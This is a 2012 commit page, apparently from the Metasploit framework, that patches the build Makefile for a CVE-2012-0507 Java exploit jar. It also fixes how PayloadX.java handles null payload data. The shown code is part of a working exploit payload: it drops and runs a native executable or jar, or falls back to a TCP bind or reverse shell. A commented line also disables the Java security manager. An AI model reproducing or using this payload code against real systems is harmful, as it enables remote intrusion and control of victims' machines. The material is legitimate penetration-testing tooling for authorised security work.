Deal with null data/jar

Not sure why "" turns into null sometimes, but it was breaking shells;
this fixes it.
This commit is contained in:
James Lee
2012-03-29 20:20:21 -06:00
parent 4f8a437b49
commit adad2cf04c
2 changed files with 11 additions and 3 deletions
+3 -1
View File
@@ -1,9 +1,11 @@
JAR_FILE = CVE-2012-0507.jar
all: ${JAR_FILE}
${JAR_FILE}: src/a/Exploit.java src/a/Help.java src/msf/x/PayloadX.java
javac -d bin -target 1.2 -source 1.2 src/a/*.java src/msf/x/*.java && (cd bin; jar cvf ../${JAR_FILE} `find . -name *.class`)
javac -d bin -target 1.2 -source 1.2 src/a/*.java src/msf/x/*.java
(cd bin; jar cvf ../${JAR_FILE} `find . -name *.class`)
install: all
mv ${JAR_FILE} ../../../../data/exploits/
@@ -78,6 +78,8 @@ public class PayloadX implements PrivilegedExceptionAction
public Object run() throws Exception
{
//System.out.println("Running");
//System.setSecurityManager(null);
//System.out.println("woot");
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null && PayloadX.jar == null )
@@ -91,8 +93,10 @@ public class PayloadX implements PrivilegedExceptionAction
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if( PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
{
if(
(PayloadX.data == null || PayloadX.data.length() == 0) &&
(PayloadX.jar == null || PayloadX.jar.length() == 0)
) {
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;
@@ -144,7 +148,9 @@ public class PayloadX implements PrivilegedExceptionAction
}
}
catch( Exception e ) {
//System.out.println("OMG Exception!!11!");
//System.out.println(e);
//e.printStackTrace();
}
return null;